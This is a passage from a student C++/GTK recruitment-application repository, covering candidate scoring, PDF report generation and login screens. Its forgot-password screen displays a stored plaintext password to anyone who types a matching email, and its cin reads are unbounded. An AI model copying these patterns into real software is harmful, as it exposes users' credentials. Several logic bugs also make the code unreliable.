0), (3, 'test 3rd', 'test3', 'test3', 1, 0); -- ↑は使用不可 --👇こっちを使った INSERT INTO `gs_bm_user_table` (`id`, `name`, `lid`, `lpw`, `kanri_flg`, `life_flg`) VALUES (1, 'Supervisor', 'test1', 'test1', 1, 0), (2, 'Tester1', 'test2', 'test2', 0, 0), (3, 'Tester2', 'test3', 'test3', 0, 0);
a2b90bab152fb677a5bf4634d06f24674922cf15
[ "SQL", "PHP" ]
16
PHP
yujirokuramoto/gs_code
2f4a86ea24d89e1ef09e5a7f3c0f75b6611f8117
1a67d03af7d4e8123b5935bdd50da02c4ff6521d
refs/heads/master
<file_sep># Juzz-Tell Juzz Tell, an application developed using C++ and GTK, predicts the perfect pool of candidates for the job. It semantically matches the candidates to the job by assigning different weights to various fields (eg. basic qualifications and skill set of a candidate).PDF, graph generation and multiple portal creation for the administrator, HR Manager and applicant are additional features. <file_sep>/*Used for generating the report in PDF format.There are 4 sections for the beginning,then your commands after which comes 6 sections....This is used for genearting 3 PDF Reports....*/ void PDFJobList() { char str[100]; JobRequirement x; int i,sno; ofstream f1; f1.open("Job_list.pdf"); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } ifstream f2,f3; f2.open("pdftemplate_beg.txt"); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } while (f2.getline(str,100)) { f1<<str<<"\n"; } f2.close(); f3.open("JobDetails.dat"); if (f3.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1<<"BT\n/F1 24 Tf\n"; f1<<"120 750 Td\n"; f1 << "( List of Jobs ) Tj\n"; f1<< "BT\n"; f1<<"/F1 12 Tf\n"; f1<<"80 700 Td\n"; f1<<"( ------------------------------------------------------------------------------------------------------------- ) Tj\n"; f1<<"BT\n"; f1<<"80 690 Td\n"; f1<<"( S.No. JobNo. Desig Exp Qualification CGPA Skills Threshold Value ) Tj\n"; f1<<"BT\n"; f1<<"80 680 Td\n"; f1<<"( ------------------------------------------------------------------------------------------------------------- ) Tj\n"; i=675; sno=1; while(f3.read((char*)&x,sizeof(x))) { f1<<"BT\n"; f1<<"80 "<<i<<" Td\n"; i-=15; f1<<"( "<<sno<<" " <<x.job_id<<" "<<x.desig<<" "<<x.exp<<" "<<x.Qualification<<" "<<x.CGPA<<" "<<x.skills<<" "<<x.th_value<<") Tj\n"; sno+=1; } f1<<"ET\n"; f1<<"endstream\n"; f1<<"endobj\n"; f2.open("pdftemplate_end.txt"); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } while (f2.getline(str,100)) { f1<<str<<"\n"; } f2.close(); f1.close(); try{ system ("evince Job_list.pdf"); // cout<<"Hai"; } catch (exception& e) { cout<<"Failed to open PDF"; } } void PDFCandidateList() { char str[100]; Jobseeker x; int i,sno; ofstream f1; f1.open("Candidate_list.pdf"); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } ifstream f2,f3; f2.open("pdftemplate_beg.txt"); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } while (f2.getline(str,100)) { f1<<str<<"\n"; } f2.close(); f3.open("candidates.dat"); if (f3.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1<<"BT\n/F1 24 Tf\n"; f1<<"120 750 Td\n"; f1 << "( List of Candidates ) Tj\n"; f1<< "BT\n"; f1<<"BT\n/F1 16 Tf\n"; f1<<"80 720 Td\n"; f1<<"(Total No. of Applications :"<<Jobseeker::nocandret()<<") Tj\n"; f1<<"BT\n"; f1<<"/F1 12 Tf\n"; f1<<"80 700 Td\n"; f1<<"( ------------------------------------------------------------------------------------------------------------- ) Tj\n"; f1<<"BT\n"; f1<<"80 690 Td\n"; f1<<"( S.No. Application Number Name ) Tj\n"; f1<<"BT\n"; f1<<"80 680 Td\n"; f1<<"( ------------------------------------------------------------------------------------------------------------- ) Tj\n"; i=675; sno=1; while(f3.read((char*)&x,sizeof(x))) { f1<<"BT\n"; f1<<"80 "<<i<<" Td\n"; i-=15; f1<<"( "<<sno<<" " <<x.appnoret()<<" "<<x.nameret()<<") Tj\n"; sno+=1; } f1<<"ET\n"; f1<<"endstream\n"; f1<<"endobj\n"; f2.open("pdftemplate_end.txt"); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } while (f2.getline(str,100)) { f1<<str<<"\n"; } f2.close(); f1.close(); try{ system ("evince Candidate_list.pdf"); cout<<"Hai"; } catch (exception& e) { cout<<"Failed to open PDF"; } } void PDFSelectList() { char str[100]; Jobseeker x; int i,sno; ofstream f1; f1.open("Selection_list.pdf"); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } ifstream f2,f3; f2.open("pdftemplate_beg.txt"); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } while (f2.getline(str,100)) { f1<<str<<"\n"; } f2.close(); f3.open("selected.dat"); if (f3.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1<<"BT\n/F1 24 Tf\n"; f1<<"120 750 Td\n"; f1 << "( List of Selected Candidates ) Tj\n"; f1<< "BT\n"; f1<<"/F1 12 Tf\n"; f1<<"80 700 Td\n"; f1<<"( ------------------------------------------------------------------------------------------------------------- ) Tj\n"; f1<<"BT\n"; f1<<"80 690 Td\n"; f1<<"( S.No. Application Number Name ) Tj\n"; f1<<"BT\n"; f1<<"80 680 Td\n"; f1<<"( ------------------------------------------------------------------------------------------------------------- ) Tj\n"; i=675; sno=1; while(f3.read((char*)&x,sizeof(x))) { f1<<"BT\n"; f1<<"80 "<<i<<" Td\n"; i-=15; f1<<"( "<<sno<<" " <<x.appnoret()<<" "<<x.nameret()<<") Tj\n"; sno+=1; } f1<<"ET\n"; f1<<"endstream\n"; f1<<"endobj\n"; f2.open("pdftemplate_end.txt"); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } while (f2.getline(str,100)) { f1<<str<<"\n"; } f2.close(); f1.close(); try{ system ("evince Selection_list.pdf"); cout<<"Hai"; } catch (exception& e) { cout<<"Failed to open PDF"; } } <file_sep>/*This is the file that contains all classes related to the package and the respective member functions that they contain.There are 5 main classe:User,Jobseeker,HRMan,JobRequirement,Admin,User and 2 small classes:dob and company....*/ //All header files used.... #include<iostream> #include<fstream> #include<stdlib.h> #include<stdio.h> #include<string.h> using namespace std; class Jobseeker; class User { protected: char name[20]; char email_id[25]; char passwd[10]; public : //CONCEPT:USAGE OF CONSTRUCTORS.... User() { } User(char *mailid,char *nam,char *password ) { strcpy(name,nam); strcpy(email_id,mailid); strcpy(passwd,<PASSWORD>); } char *emailret() { return email_id; } //CONCEPT:FRIEND FUNCTION... friend void appop2(Jobseeker); virtual void DisplayUser() = 0; //Pure Virtual Function }; class dob { char d[11]; public: void accept(); void display(); }; //CONCEPT:INLINE.... void dob::accept() { int i,j,knt=0,n1,n2,n3; j=0; char str1[5]; char str2[5]; char str3[5]; cin>>d; //cout<<d<<endl; //VALIDATION FOR DOB... /*for(i=0;d[i]!='\0';i++) { if(knt==0) { if(d[i]=='.') { str1[j]='\0'; n1=atoi(str1); knt=1; j=0; } else { str1[j]=d[i]; j++; } } else if(knt==1) { if(d[i]=='.') { str2[j]='\0'; n2=atoi(str2); knt=2; j=0; } else { str2[j]=d[i]; j++; } } else if(knt==2) { if(d[i]!='.') { str3[j]=d[i]; j++; } } cout<<knt<<" "<<d[i]<<" "<<endl; } str3[j]='\0'; n3=atoi(str3); cout<<n1<<endl<<n2<<endl<<n3<<endl; if(n1>0&&n1<32&&n2>0&&n2<13) { if(n3%4==0) { if(n3%100==0) { if(n3%400==0) { ly=1; } else { ly=0; } } else { ly=1; } } else { ly=0 } else { cout<<"Invalid"; }*/ } void dob::display() { cout<<d; } class company { char compname[20]; float exp; char title[15]; float salary; public: void accept(); void display(); friend class Admin; }; void company::accept() { try { cout<<"\t\tCompany Name : "; cin>>compname; cout<<"\t\tExperience(years) : "; cin>>exp; cout<<"\t\tTitle : "; cin>>title; cout<<"\t\tSalary : "; cin>>salary; //CONCEPT:EXCEPTION HANDLING.... if (salary<=0) throw "Salary Cannot be Negative"; cout<<endl<<endl; } catch(exception& e) { cout <<e.what()<<"Invalid Data"; } } void company::display() { cout<<"\t\tCompany Name : "; cout<<compname<<endl; cout<<"\t\tExperience(years) : "; cout<<exp<<endl; cout<<"\t\tTitle : "; cout<<title<<endl; cout<<"\t\tSalary : "; cout<<salary<<endl; cout<<endl<<endl; } //CONCEPT:IS A RELATIONSHIP class Jobseeker:public User { //CONCEPT:HAS A RELATIONSHIP dob d; char street[30],city[10],state[10],pin[8]; char phone[11]; char ugdeg[10],ugmajor[20],ugcollege[20]; char pgdeg[10],pgmajor[20],pgcollege[20]; char addndegree[30]; float ugcgpa,pgcgpa; int no_companies; company c[10]; char skills[50]; char reference1[50],reference2[50]; char applcn_no[8]; char status[15]; //CONCEPT:STATIC DATA MEMBER FOR TOTAL APPLICATIONS... static int no_candidates; public: char * appnoret() { return applcn_no; } char * nameret() { return name; } Jobseeker() { } //CONCEPT:INITILALISER LIST(CONSTRUCTOR),(INHERITANCE) Jobseeker(char *mailid,char *name,char *password):User(mailid,name,password) { strcpy(email_id,mailid); strcpy(name,name); strcpy(passwd,password); } void DisplayUser() { viewform(); } char *applcnstatret() { return status; } void fillform(); void deleteform(); void viewform(); void updateform(); void appstatus(); char * applcn_noret() { return applcn_no; } char * passwdret() { return passwd; } static void incre() { no_candidates++; } static void decre() { no_candidates--; } static int nocandret() { return no_candidates; } //CONCEPT:FRIEND CLASS friend class Admin; friend void PDFCandidateList(); }; int Jobseeker::no_candidates=0; inline void Jobseeker::fillform() { int key,i; cout<<"\033[2J\033[1;1H"; cout<<"\t\tNAME: "<<name<<"\t\t"; cout<<"APPCN NO. :"; applcngen(applcn_no); cout<<applcn_no<<endl<<endl; //EXCEPTION HANDLING.... try { cout<<"PERSONAL INFORMATION : "<<endl<<endl; cout<<"\t\tDate of Birth : "; d.accept(); cout<<"\t\tAddress : \n\t\t\tStreet : "; cin>>street; cout<<"\t\t\tCity : "; cin>>city; cout<<"\t\t\tState : "; cin>>state; cout<<"\t\t\tPIN Code : "; cin>>pin; cout<<"\t\tMobile No. : "; cin>>phone; cout<<endl<<endl<<"EDUCATION : "<<endl<<endl; cout<<"\t\tUG Degree : "; cin>>ugdeg; cout<<"\t\tMajor : "; cin>>ugmajor; cout<<"\t\tCollege : "; cin>>ugcollege; cout<<"\t\tCGPA :"; cin>>ugcgpa; if(ugcgpa>10.0) throw(0); cout<<endl; cout<<"\t\tPG Degree : "; cin>>pgdeg; cout<<"\t\tMajor : "; cin>>pgmajor; cout<<"\t\tCollege : "; cin>>pgcollege; cout<<"\t\tCGPA :"; cin>>pgcgpa; cout<<endl; cout<<"\t\tAdditional Degrees : "; cin>>addndegree; cout<<endl<<endl<<"WORK :"<<endl<<endl; cout<<"\t\tNo. of companies worked in : "; cin>>no_companies; for(i=0;i<no_companies;i++) c[i].accept(); cout<<"ADDITIONAL DETAILS : "<<endl<<endl; cout<<"\t\tProgramming Skills : "; cin>>skills; cout<<endl<<endl<<"REFERENCES :"<<endl<<endl; cout<<"\t\tReference 1 : "; cin>>reference1; cout<<endl<<"\t\tReference 2 : "; cin>>reference2; strcpy(status,"Under Process"); cout<<endl<<endl; } catch(int a) { cerr<<"CGPA exceeded 10.0"<<endl; } catch(char *e) { cerr<<e<<endl; } } inline void Jobseeker::deleteform() { // system("clear"); cout<<"Application successfully deleted "<<endl<<endl; Jobseeker k; fstream f,f1; f.open("candidates.dat",ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1.open("temp.dat",ios::out); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f.read((char *)&k,sizeof(k)); while(!f.eof()) { if(strcmp(k.applcn_no,applcn_no)==0) break; else f1.write((char *)&k,sizeof(k)); f.read((char *)&k,sizeof(k)); } f.read((char *)&k,sizeof(k)); while(!f.eof()) { f1.write((char *)&k,sizeof(k)); f.read((char *)&k,sizeof(k)); } remove("candidates.dat"); rename("temp.dat","candidates.dat"); f.close(); f1.close(); getchar(); } inline void Jobseeker::updateform() { // system("clear"); int op,op1,i; // system("clear"); //GET THE PARAMETER TO BE UPDATED.... cout<<"1.Personal Information"<<endl<<endl; cout<<"2.Education"<<endl<<endl; cout<<"3.Work"<<endl<<endl; cout<<"4.Additional Details"<<endl<<endl; cout<<"5.References"<<endl; cout<<endl<<"Option : "; cin>>op; switch(op) { case 1: cout<<"1.Date of birth"<<endl; cout<<"2.Address"<<endl; cout<<"3.Mobile No."<<endl; cout<<endl<<"Option: "; cin>>op1; switch(op1) { case 1: cout<<"\tDate of birth : "; d.accept(); break; case 2: cout<<"\tAddress : \n\t\tStreet : "; cin>>street; cout<<"\t\tCity : "; cin>>city; cout<<"\t\tState : "; cin>>state; cout<<"\t\tPIN Code : "; cin>>pin; break; case 3: cout<<"\tMobile No. : "; cin>>phone; break; default: cout<<"Invalid Option"<<endl<<endl; } break; case 2: cout<<"1.UG Degree"<<endl; cout<<"2.PG Degree"<<endl; cout<<"3.Additional Degree"<<endl; cout<<endl<<"Option : "; cin>>op1; switch(op1) { case 1: cout<<"\tUG Degree : "; cin>>ugdeg; cout<<"\tMajor : "; cin>>ugmajor; cout<<"\tCollege : "; cin>>ugcollege; cout<<"\tCGPA :"; cin>>ugcgpa; cout<<endl; break; case 2: cout<<"\tPG Degree : "; cin>>pgdeg; cout<<"\tMajor : "; cin>>pgmajor; cout<<"\tCollege : "; cin>>pgcollege; cout<<"\tCGPA :"; cin>>pgcgpa; cout<<endl; break; case 3: cout<<"\tAdditional Degrees : "; cin>>addndegree; break; default: cout<<"Invalid Option"<<endl<<endl; } case 3: cout<<"\t\tNo. of companies worked in : "; cin>>no_companies; for(i=0;i<no_companies;i++) c[i].accept(); break; case 4: cout<<"\tProgramming Skills : "; cin>>skills; break; case 5: cout<<"1.Reference 1 "<<endl; cout<<"2.Reference 2 "<<endl; cout<<endl<<"Option : "; cin>>op1; switch(op1) { case 1: cout<<"\tReference 1 : "; cin>>reference1; break; case 2: cout<<"\tReference 2 : "; cin>>reference2; break; default: cout<<"Invalid Option"<<endl<<endl; } default: cout<<"Invalid Option"<<endl<<endl; } getchar(); } inline void Jobseeker::viewform() { // system("clear"); int i,flag=0; Jobseeker k; fstream f; f.open("candidates.dat",ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f.seekg(0); cout<<applcn_no; f.read((char *)&k,sizeof(k)); while(!f.eof()) { if(strcmp(k.applcn_no,applcn_no)==0) { cout<<"\t\tNAME: "<<k.name<<"\t\t"; cout<<"APPCN NO. :"; cout<<k.applcn_no<<endl<<endl; cout<<"PERSONAL INFORMATION : "<<endl<<endl; cout<<"\t\tDate of Birth : "; k.d.display(); cout<<"\n\t\tAddress : \n\t\t\tStreet : "; cout<<k.street<<endl; cout<<"\t\t\tCity : "; cout<<k.city<<endl; cout<<"\t\t\tState : "; cout<<k.state<<endl; cout<<"\t\t\tPIN Code : "; cout<<k.pin<<endl; cout<<"\t\tMobile No. : "; cout<<k.phone<<endl; getchar(); cout<<endl<<endl<<"EDUCATION : "<<endl<<endl; cout<<"\t\tUG Degree : "; cout<<k.ugdeg<<endl; cout<<"\t\tMajor : "; cout<<k.ugmajor<<endl; cout<<"\t\tCollege : "; cout<<k.ugcollege<<endl; cout<<"\t\tCGPA :"; cout<<k.ugcgpa<<endl; cout<<endl; cout<<"\t\tPG Degree : "; cout<<k.pgdeg<<endl; cout<<"\t\tMajor : "; cout<<k.pgmajor<<endl; cout<<"\t\tCollege : "; cout<<k.pgcollege<<endl; cout<<"\t\tCGPA :"; cout<<k.pgcgpa<<endl; cout<<endl; cout<<"\t\tAdditional Degrees : "; cout<<k.addndegree<<endl; getchar(); cout<<endl<<endl<<"WORK :"<<endl<<endl; cout<<"\t\tNo. of companies worked in : "; cout<<k.no_companies<<endl; for(i=0;i<no_companies;i++) k.c[i].display(); getchar(); cout<<"ADDITIONAL DETAILS : "<<endl<<endl; cout<<"\t\tProgramming Skills : "; cout<<k.skills<<endl; cout<<endl<<endl<<"REFERENCES :"<<endl<<endl; cout<<"\t\tReference 1 : "; cout<<k.reference1<<endl; cout<<endl<<"\t\tReference 2 : "; cout<<k.reference2<<endl; cout<<endl<<endl; flag=1; break; } f.read((char*)&k,sizeof(k)); } if(flag==0) cout<<"No applications submitted"<<endl<<endl<<endl; f.close(); } //IF APPLICATION PRESENT:"UNDER PROCESS" ELSE "APPLICATIONS NOT SUBMITTED" inline void Jobseeker::appstatus() { // system("clear"); int flag=0; Jobseeker k; fstream f; f.open("candidates.dat",ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } // f.seekg(0); f.read((char *)&k,sizeof(k)); while(!f.eof()) { if(strcmp(k.applcn_no,applcn_no)==0) { cout<<"Under Process"<<endl<<endl; flag =1; } f.read((char *)&k,sizeof(k)); } if(flag==0) cout<<"No applications submitted"<<endl<<endl; f.close(); getchar(); } class JobRequirement; class HRMan:public User { char compname[20]; public : HRMan(char name1[], char pass[], char mailid[]) { strcpy(name,name1); strcpy(passwd,pass); strcpy(email_id, mailid); } //CONCEPT:FRIENDS.... friend void AddJob(HRMan&,JobRequirement&); friend void DeleteJob(HRMan&,JobRequirement&); friend void UpdateJob(HRMan&, JobRequirement&); friend void download(HRMan&, JobRequirement&); friend void DisplayJob(HRMan &, JobRequirement&); void DisplayUser() { cout <<"Name : "<<name <<"\nMailID"<<email_id; } }; class JobRequirement { char JobDesc[10]; char job_id[8]; char desig[15]; float exp; float exp_weight; char Qualification[10]; float Qual_weight; float CGPA; float CGPA_weight; char skills[20]; float skills_weight; float th_value; public: friend void AddJob(HRMan&, JobRequirement&); friend void DeleteJob(HRMan&, JobRequirement&); friend void UpdateJob(HRMan&,JobRequirement&); friend void DisplayJob(HRMan&, JobRequirement&); friend void download(HRMan&,JobRequirement&); friend class Admin; friend void PDFJobList(); }; void DisplayJob(HRMan &h, JobRequirement &Job1) { char jid[10]; cout << "Enter the Job ID "; cin>>jid; fstream f1; f1.open("JobDetails.dat", ios::in); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } int flag=0; f1.read((char*)&Job1,sizeof(Job1)); while(!f1.eof()) { if (strcmp(Job1.job_id,jid)==0) { flag = 1; break; } f1.read((char*)&Job1,sizeof(Job1)); } f1.close(); if (flag) { cout << "Designation : "<<Job1.desig<<endl; cout << "Nature of Job : "<< Job1.JobDesc<<endl; cout <<"Required Qualification"<<Job1.Qualification<<endl; cout<< "Importance of Qualification (Weight)"<<Job1.Qual_weight<<endl; cout <<"CGPA"<<Job1.CGPA<<endl; cout<<"Importance of CGPA (weight)"<<Job1.CGPA_weight<<endl; cout<<"Minimum Experience :"<<Job1.exp<<endl; cout<<"Importance of Experience (weight)"<<Job1.exp_weight<<endl; cout<<"Skills (Separated by comma:"<<Job1.skills<<endl; cout<<"Importance of Skills (weight)"<<Job1.skills_weight<<endl; } else cout <<"Not found\n"; } void AddJob(HRMan &h, JobRequirement &Job1) { cout << "Enter the Company Name : "; cin>>h.compname; cout <<"Job ID : "; cin >>Job1.job_id; cout << "Enter the Designation : "; cin >>Job1.desig; cout << "Enter the Nature of Job : "; cin >> Job1.JobDesc; cout <<"Required Qualification (Separated by comma like MCA,BE) : "; cin>>Job1.Qualification; cout<< "Importance of Qualification (Weight) : "; cin>>Job1.Qual_weight; cout <<"CGPA : "; cin>>Job1.CGPA; cout<<"Importance of CGPA (weight) : "; cin>>Job1.CGPA_weight; cout<<"Minimum Experience : "; cin>>Job1.exp; cout<<"Importance of Experience (weight) : "; cin>>Job1.exp_weight; cout<<"Skills (Separated by comma) : "; cin>>Job1.skills; cout<<"Importance of Skills (weight) : "; cin>>Job1.skills_weight; Job1.th_value=0; fstream f1; f1.open("JobDetails.dat",ios::out|ios::app); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1.write((char*)&Job1, sizeof(Job1)); f1.close(); cout<<"\nAdded"; } void DeleteJob(HRMan &h, JobRequirement &Job1) { char j1[10]; cout << "Enter the Job ID"; cin >>j1; fstream f1,f2; f1.open("JobDetails.dat", ios::in); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f2.open("temp",ios::out); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } int flag=0; f1.read((char*)&Job1,sizeof(Job1)); while(!f1.eof()) { if (strcmp(Job1.job_id,j1)!=0) f2.write((char*)&Job1,sizeof(Job1)); else flag=1; f1.read((char*)&Job1,sizeof(Job1)); } f1.close(); f2.close(); system("mv temp JobDetails.dat"); if(flag) cout<<"Deleted\n"; else cout<<"Not Found\n"; } void UpdateJob(HRMan &h, JobRequirement &Job1) { char jid[10]; cout <<"Job ID : "; cin >>jid; fstream f1,f2; f1.open("JobDetails.dat", ios::in); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f2.open("temp",ios::out); if (f2.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } int flag=0; f1.read((char*)&Job1,sizeof(Job1)); while(!f1.eof()) { if (strcmp(Job1.job_id,jid)==0) { cout<< "Importance of Qualification (Weight) : "; cin>>Job1.Qual_weight; cout<<"Importance of CGPA (weight) : "; cin>>Job1.CGPA_weight; cout<<"Importance of Experience (weight) : "; cin>>Job1.exp_weight; cout<<"Importance of Skills (weight) : "; cin>>Job1.skills_weight; flag=1; } f2.write((char*)&Job1,sizeof(Job1)); f1.read((char*)&Job1,sizeof(Job1)); } f1.close(); f2.close(); system("mv temp JobDetails.dat"); if (flag) cout <<"Updated\n"; else cout <<"Not Found\n"; } class Admin:public User { public: void Compute(); void Fixthreshold(); void CandidateReport() { PDFCandidateList(); } void JobReport() { PDFJobList(); } void SelectedReport() { PDFSelectList(); } friend class JobRequirement; void DisplayUser() { cout <<"Name : "<<name<<"\n Mail ID"<<email_id; } ~Admin() { } }; void Admin::Fixthreshold() { char jobid[8]; cout<<"Job Id : "; cin>>jobid; float thresh; JobRequirement t; int flag=0; //AFTER FIXING THRESHOLD VALUE...WRITE THE RECORD INTO THE FILE:UPDATION fstream f,f1; f.open("JobDetails.dat",ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1.open("temp.dat",ios::out); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f.read((char *)&t,sizeof(t)); while(!f.eof()) { if(strcmp(t.job_id,jobid)==0) { flag=1; cout<<endl<<"Threshold value : "; cin>>thresh; t.th_value=thresh; //f1.write((char *)&t,sizeof(t)); //break; } f1.write((char *)&t,sizeof(t)); f.read((char *)&t,sizeof(t)); } if(flag==0) cout<<"Job ID not found!"<<endl<<endl; else cout<<"Threshold value successfully fixed"<<endl<<endl; remove("JobDetails.dat"); rename("temp.dat","JobDetails.dat"); f.close(); f1.close(); } /*The sum of all the weights given by the HR are calculated and by using the computational formula,mvalue for every candidate is calculated.If the mvalue is less than the threshold value fixed by the HR then he is "NOT SELECTED" else he is "SELECTED"...*/ void Admin::Compute() { int i,t1; float totalwt=0.0; float jobexptot=0.0; float selcgpa=0.0; char jobid[10]; fstream f_select,f_temp; f_select.open("selected.dat",ios::out); if (f_select.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f_temp.open("temp.dat",ios::out); if (f_temp.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } cout<<"Job Id : "; cin>>jobid; JobRequirement t; Jobseeker j; char *sk; int flag=0; float mval=0.0; int tell=0; char deg[8]; char *att; char skill[50]; char str[8],str1[10]; fstream f,f1; f.open("JobDetails.dat",ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f1.open("candidates.dat",ios::in); if (f1.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } f.read((char *)&t,sizeof(t)); while(!f.eof()) { if(strcmp(t.job_id,jobid)==0) { flag=1; break; } f.read((char *)&t,sizeof(t)); } if(t.th_value!=0&&flag==1) { totalwt=t.exp_weight+t.Qual_weight+t.CGPA_weight+t.skills_weight; f1.read((char *)&j,sizeof(j)); while(!f1.eof()) { { jobexptot=0.0; selcgpa=0.0; mval=0.0; tell=0; t1=0; for(i=0;i<j.no_companies;i++) jobexptot+=j.c[i].exp; if(strcmp(j.pgdeg,"-")==0) { strcpy(deg,j.ugdeg); tell=0; } else { strcpy(deg,j.pgdeg); tell=1; } if(tell==0) selcgpa=j.ugcgpa; else selcgpa=j.pgcgpa; strcpy(skill,j.skills); if(jobexptot>=t.exp) mval+=(1*t.exp_weight); if(selcgpa>=t.CGPA) mval+=(1*t.CGPA_weight); strcpy(str,t.Qualification); //strtok is a function used to extract substrings given a delimiter... att=strtok(str,","); while(att!=NULL) { if(strcmp(att,deg)==0) { mval+=(1*t.Qual_weight); break; } att=strtok(NULL,","); } sk=strtok(skill,","); while(sk!=NULL) { if(t1==1) break; strcpy(str1,t.skills); att=strtok(str1,","); while(att!=NULL) { if(strcmp(att,sk)==0) { mval+=(1*t.skills_weight); t1=1; break; } att=strtok(NULL,","); } sk=strtok(NULL,","); } mval=mval/totalwt; if (mval>=t.th_value) { strcpy(j.status,"Selected"); f_select.write((char*)&j,sizeof(j)); } else { strcpy(j.status,"Not Selected"); } f_temp.write((char*)&j,sizeof(j)); } f1.read((char *)&j,sizeof(j)); } system("mv temp.dat candidates.dat"); } else cout <<"Not Found or Threshold Value Not Set"; f.close(); f1.close(); f_select.close(); f_temp.close(); } <file_sep>/*This is the files which is used when the user forgets his password and the password is printed in the dialog box...Again uses GTK.*/ //Necessary header files included... #include <gtk/gtk.h> #include<iostream> #include<fstream> #include <string.h> #include <stdlib.h> using namespace std; struct User { char uname[20],mailid[25],password[10]; }U; GtkWidget *entry1; GtkWidget *entry2; GtkWidget *entry3; GtkWidget *entry4; void Cancel(GtkWidget *widget, gpointer data) { gtk_main_quit(); } int isNull (char *x) { if (strlen(x)==0) return 1; else return 0; } //Checks with the respective portal.....using mail_id comares and tells the password of the user.... void CheckPass(GtkWidget *widget, gpointer data) { fstream f; char *username,*mailid, *password, *repass; GtkWidget *dialog; mailid= (char*)gtk_entry_get_text((GtkEntry*)entry1); if (isNull(mailid)) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Data Not Entered"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); } else { // f.open("usermaster.dat",ios::out); // strcpy(U.uname,"Administrator"); // strcpy(U.mailid,"<EMAIL>"); // strcpy(U.password,"<PASSWORD>"); // f.write((char*)&U,sizeof(U)); //f.close(); f.open("usermaster.dat", ios::in); if (f.fail()) { system("clear"); cerr<<"Error in Opening File"; exit(0); } int flag=0; f.read((char*)&U,sizeof(U)); while(!f.eof()) { // f.read((char*)&U,sizeof(U)); printf("hai"); if (strcmp(mailid,U.mailid)==0) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, U.password); gtk_window_set_title(GTK_WINDOW(dialog), "Your Password is"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); flag=1; printf("Hello"); break; } f.read((char*)&U,sizeof(U)); } f.close(); if (flag==0) { dialog = gtk_message_dialog_new(GTK_WINDOW(data), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_MESSAGE_INFO,GTK_BUTTONS_OK, "Mail ID Not Found"); gtk_window_set_title(GTK_WINDOW(dialog), "Information"); gtk_dialog_run(GTK_DIALOG(dialog)); gtk_widget_destroy(dialog); } } } int main(int argc, char *argv[]) { GtkWidget *window; GtkWidget *table; GtkWidget *label1; // GtkWidget *label2; // GtkWidget *label3; // GtkWidget *label4; GtkWidget *button1, *button2; gtk_init(&argc, &argv); window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(window), GTK_WIN_POS_CENTER); gtk_window_set_title(GTK_WINDOW(window), "Change Password"); gtk_container_set_border_width(GTK_CONTAINER(window), 90); table = gtk_table_new(2, 2, FALSE); gtk_container_add(GTK_CONTAINER(window), table); label1 = gtk_label_new("Mail ID"); gtk_table_attach_defaults(GTK_TABLE(table), label1, 0, 1, 0, 1); entry1 = gtk_entry_new(); gtk_table_attach_defaults(GTK_TABLE(table), entry1, 0, 1, 1, 2); button1 = gtk_button_new_with_label("Submit"); button2 = gtk_button_new_with_label("Cancel"); gtk_table_attach_defaults(GTK_TABLE(table), button1, 0, 1, 4, 5); gtk_table_attach_defaults(GTK_TABLE(table),button2, 1, 2, 4, 5); //When the button is clicked.... g_signal_connect (button1, "clicked", G_CALLBACK (CheckPass), (gpointer)window); g_signal_connect (button2, "clicked", G_CALLBACK (Cancel), (gpointer)window); gtk_widget_show_all(window); g_signal_connect(window, "destroy",G_CALLBACK(gtk_main_quit), NULL); gtk_main(); return 0; } <file_sep>/*This is the file used for the Sign in process using gtk....GTK has its own class and attributes....and widgets and signal connections can be easily given through it...*/ //Necessary header files.... #include <iostream> #include <fstream> #include <stdlib.h> #include <gtk/gtk.h> #include <string.h> using namespace std; struct User { char uname[20],mailid[25],password[10]; }U; GtkWidget *name; GtkWidget *passwd; int isNull (char *x) { if (strlen(x)==0) return 1; else return 0; } /* This callback quits the program */ gint delete_event( GtkWidget *widget, GdkEvent *event, gpointer data ) { gtk_main_quit (); return(FALSE); } void SignIn( GtkWidget *widget, gpointer data ) { fstream f; char *mailid, *password; GtkWidget *dialog; //The 2 entries... mailid= 